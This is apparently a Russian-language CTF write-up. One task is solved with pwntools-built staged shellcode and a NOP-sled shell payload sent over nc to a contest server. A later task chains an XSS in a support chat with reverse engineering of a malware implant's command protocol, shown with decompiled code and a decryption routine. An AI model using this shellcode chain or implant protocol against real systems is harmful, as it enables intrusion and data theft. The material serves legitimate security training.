Используем pwntools для создания второй части shellcode'а:
>>> from pwn import *
>>> context.arch = "x86_64"
>>> print asm('pop rdi; syscall')[::-1].encode('hex')
050f5f
>>> 0x050f5f
331615
Используем pwntools для создания первой части shellcode'а с прыжком: 5 байт кода, 2 байта — прыжок через 5 байт, nop'ы ("90" в hex). nop'ы надо отрезать.
>>> print asm('push rdx ; pop rax ; pop rdx ; pop rsi ; push rbx ; jmp L ; nop ; nop ; nop ; nop ; nop ; L: nop')[::-1].encode('hex')
90909090909005eb535e5a5852
>>> 0x05eb535e5a5852 * 331615 * 2
1105019561413684439260L
Пробуем полученные числа в цикле, чтобы было удобно исправлять:
user@ctf:~$ while read -r a; do printf '331615\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:' ; done
1105019561413684439260
0x7fffffffe588: 0xf1 0x9d 0xd2 0x89 0x54 0xeb 0x05 0x00
...
1105016229177322000000
0x7fffffffe588: 0x52 0x58 0x5a 0x5e 0x53 0xeb 0x05 0x00
Осталось только применить:
user@ctf:~$ printf '331615\n1105016229177322000000.0\n' > input
user@ctf:~$ python -c 'from pwn import *; context.arch = "x86_64"; print asm("nop") * 200 + asm(shellcraft.amd64.linux.sh())' > payload
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo ls) | nc spbctf.ppctf.net 5353
flag.txt
m116
run.sh
run_image.sh
runserver.sh
^C
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo cat flag.txt) | nc spbctf.ppctf.net 5353
H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR
>>> for c in (c for c in (disasm(chr(i)) for i in range(256)) if '.byte' not in c and '(bad)' not in c): print c
0:
0: 26 es
0: 2e cs
0: 36 ss
0: 3e ds
0: 40 rex
0: 41 rex.B
0: 42 rex.X
0: 43 rex.XB
0: 44 rex.R
0: 45 rex.RB
0: 46 rex.RX
0: 47 rex.RXB
0: 48 rex.W
0: 49 rex.WB
0: 4a rex.WX
0: 4b rex.WXB
0: 4c rex.WR
0: 4d rex.WRB
0: 4e rex.WRX
0: 4f rex.WRXB
0: 50 push rax
0: 51 push rcx
0: 52 push rdx
0: 53 push rbx
0: 54 push rsp
0: 55 push rbp
0: 56 push rsi
0: 57 push rdi
0: 58 pop rax
0: 59 pop rcx
0: 5a pop rdx
0: 5b pop rbx
0: 5c pop rsp
0: 5d pop rbp
0: 5e pop rsi
0: 5f pop rdi
0: 64 fs
0: 65 gs
0: 66 data16
0: 67 addr32
0: 6c ins BYTE PTR es:[rdi],dx
0: 6d ins DWORD PTR es:[rdi],dx
0: 6e outs dx,BYTE PTR ds:[rsi]
0: 6f outs dx,DWORD PTR ds:[rsi]
0: 90 nop
0: 91 xchg ecx,eax
0: 92 xchg edx,eax
0: 93 xchg ebx,eax
0: 94 xchg esp,eax
0: 95 xchg ebp,eax
0: 96 xchg esi,eax
0: 97 xchg edi,eax
0: 98 cwde
0: 99 cdq
0: 9b fwait
0: 9c pushf
0: 9d popf
0: 9e sahf
0: 9f lahf
0: a4 movs BYTE PTR es:[rdi],BYTE PTR ds:[rsi]
0: a5 movs DWORD PTR es:[rdi],DWORD PTR ds:[rsi]
0: a6 cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0: a7 cmps DWORD PTR ds:[rsi],DWORD PTR es:[rdi]
0: aa stos BYTE PTR es:[rdi],al
0: ab stos DWORD PTR es:[rdi],eax
0: ac lods al,BYTE PTR ds:[rsi]
0: ad lods eax,DWORD PTR ds:[rsi]
0: ae scas al,BYTE PTR es:[rdi]
0: af scas eax,DWORD PTR es:[rdi]
0: c3 ret
0: c9 leave
0: cb retf
0: cc int3
0: cf iret
0: d7 xlat BYTE PTR ds:[rbx]
0: ec in al,dx
0: ed in eax,dx
0: ee out dx,al
0: ef out dx,eax
0: f0 lock
0: f1 icebp
0: f2 repnz
0: f3 repz
0: f4 hlt
0: f5 cmc
0: f8 clc
0: f9 stc
0: fa cli
0: fb sti
0: fc cld
0: fd std
Day 7. Hacking chains
Последний день состоял из комбинации разных областей: Web и RE (таск от SchoolCTF). Отправной точкой задания служил сайт по продаже эксплойтов. Сам сайт не содержал в себе каких-то уязвимостей, но на нем была уязвимая форма связи с техподдержкой. Необходимо было проэксплуатировать xss отправив сообщение в техподдержку, а затем отреверсить протокол общения между malware и командным центром. Более 200 человек пробовали свои силы в этом задании.
Победители | ||
1 место | 2 место | 3 место |
|
|
|
If you are seeing this text you've got to be a highly experienced security professional.
Recently our IDS system has detected some weird user behavior in one of our corporate accounts. During an investigation we've found an incoming connection to a non-standard TCP port. We've been able to track source IP that led us to malware.zn.school-ctf.org. The website seems to be abandoned and we couldn't find anything which would help us to trace a real source of an intial connection or to contact the website owners.
We are suspecting that the machine is infected with some implants, but couldn't find any proofs of that either. We are asking you to continue the investigation, but we cannot give you an access to an internal network. You must find a shop owners and take control over implants in our network (if there are any).
We've already isolated possibly infected machine so you can find files that will proof presence of implants.
Yours,
VDooli Inc.
- Есть ссылка на сайт malware.zn.school-ctf.org. Видим там модуль чата, XSS в тексте сообщения.
- В админке есть несколько чатов, первый из которых датирован сильно раньше начала таски.
- В этом чате есть ссылка на архив и хост:
- http://sibears.ru/files/drop.zip
- vdooli.zn.school-ctf.org
- В архиве ELF x86-64 бинарь. Запускаем, он форкается в фон и начинает слушать на порте 48807. На хосте тоже открыт этот порт и туда вываливаются какие-то четыре байта.
- Открываем бинарь в IDA, смотрим, что он делает. В
main
происходит примерно это:
void __fastcall __noreturn main(__int64 argc, char **argv, char **env)
{
agree();
clear_argv((const char **)argv);
myfork();
nop();
sub_4012E8((__int64)&unk_611030);
setup_socket();
}
agree
— просит ввестиAGREE
для запускаclear_argv
— очищаетargv[0]
myfork
— форкаетсяsub_4012E8
— читает что-то из самого бинаряsetup_socket
— биндит сокет и форкается для обработки соединений
В конце setup_socket
вызывается основной обработчик соединения.
__int64 __fastcall handle_sock(int fd)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v30 = *MK_FP(__FS__, 40LL);
v1 = time(0LL);
srand(v1);
buf = rand() % 998 + 1;
write(fd, &buf, 4uLL);
v24 = 127;
v25 = &v28;
v10 = len_read(fd, (__int64)&v24, 0x7Fu);
if ( v10 )
{
v14 = malloc(0x1000uLL);
v15 = malloc(0x1000uLL);
ptr = malloc(0x1000uLL);
v17 = malloc(0x1000uLL);
if ( v14 && v15 && ptr && v17 )
{
ascii_to_utf16(v14, (__int64)&v24);
v18 = sub_401143((__int64)&unk_611030, 7);
do
{
sub_4024CE();
v19 = v2;
}
while ( v2 != 2 );
nptr = &v29;
utf16_to_ascii((signed int *)v14, (__int64)&v26);
v11 = strtol(nptr, 0LL, 10);
if ( v11 == buf )
{
write(fd, "maladca", 7uLL);
v10 = len_read(fd, (__int64)&v24, 0x7Fu);
if ( v10 )
{
ascii_to_utf16(v14, (__int64)&v24);
decrypt((__int64)v14, (__int64)v15);
v12 = space_index((char *)v14);
if ( v12 != -1 )
{
v10 = substr((char *)v14, (__int64)ptr, 0, v12);
if ( v10 != -1 )
{
v10 = substr((char *)v14, (__int64)v17, v12 + 2, -1);
if ( v10 != -1 )
{
v3 = command_to_idx((__int64)ptr, (__int64)v15);
v13 = v3;
switch ( v3 )
{
case 2:
utf16_to_ascii((signed int *)v17, (__int64)&v26);
v20 = nptr;
nptr[v26] = 0;
v4 = (unsigned __int64)list_dir(nptr);
s = (char *)v4;
if ( v4 )
{
v26 = strlen(s);
nptr = s;
for ( i = 0; v26 > i; ++i )
++s[i];
len_write(fd, (__int64)&v26);
free(s);
}
break;
case 3:
utf16_to_ascii((signed int *)v17, (__int64)&v26);
v20 = nptr;
nptr[v26] = 0;
v5 = (unsigned __int64)cat_file(nptr);
v22 = v5;
if ( v5 )
{
v23 = *(_QWORD *)(v22 + 8);
for ( j = 0; *(_DWORD *)v22 > j; ++j )
++*(_BYTE *)((signed int)j + v23);
len_write(fd, v22);
sub_4026E0(v22);
}
break;
case 1:
sub_4015CB(v14, "hello hello my friend!");
sub_40127B((__int64)v14, (__int64)v15);
utf16_to_ascii((signed int *)v14, (__int64)&v26);
len_write(fd, (__int64)&v26);
break;
}
}
}
}
}
}
}
if ( ptr )
free(ptr);
if ( v17 )
free(v17);
if ( v14 )
free(v14);
if ( v15 )
free(v15);
}
return *MK_FP(__FS__, 40LL) ^ v30;
}
Что тут происходит:
- Генерируется и пишется в сокет бинарно случайное число
- Читается строка из сокета в
length-value
формате - Аллоцируются всякие буферы, проверяется, что
strtol
от прочтённой строки равен случайному числу - Пишется
maladca
в сокет - Читается строка в том же формате, конвертируется в
utf16
, расшифровывается по какому-то обфусцированному алгоритму, о нём позже - Расшифрованная строка разбивается на две по пробелу, первая часть строки преобразуется в номер команды:
hello
— 1jqi3ow0o3qw3
— 2t35j3r8o3h92
— 3
- В зависимости от команды выполняются разные действия, интересны 2 и 3:
- 2 — делается листинг директории, указанной в аргументе
- 3 — читает файл, указанный в аргументе
- Каждый байт результата в этих командах инкрементируется
- Результат отправляется в сокет в
length-value
формате
Осталось разобраться с шифрованием. К счастью, в бинаре осталась отладочная функция для вывода буфера в length-value
формате по адресу 0x4010E6
, и немного запатчив бинарь можно видеть расшифрованные сообщения.
Немного поигравшись с разными бинарными строками можно понять, что буфер расшировывается примерно по такому алгоритму:
def dec(data):
data = list(data)
prefix = 0
for i in range(len(data)):
data[-i - 1] ^= prefix
prefix = data[-i - 1]
return bytes(data)
Остаётся посмотреть содержимое текущей директории и прочитать флаг из flag.txt
.
Nemurenai
Если не секрет, сколько времени blackfan потратил на решение квеста первого дня?
Qou Автор
Флаг был сдан около полуночи, таким образом менее 4 часов.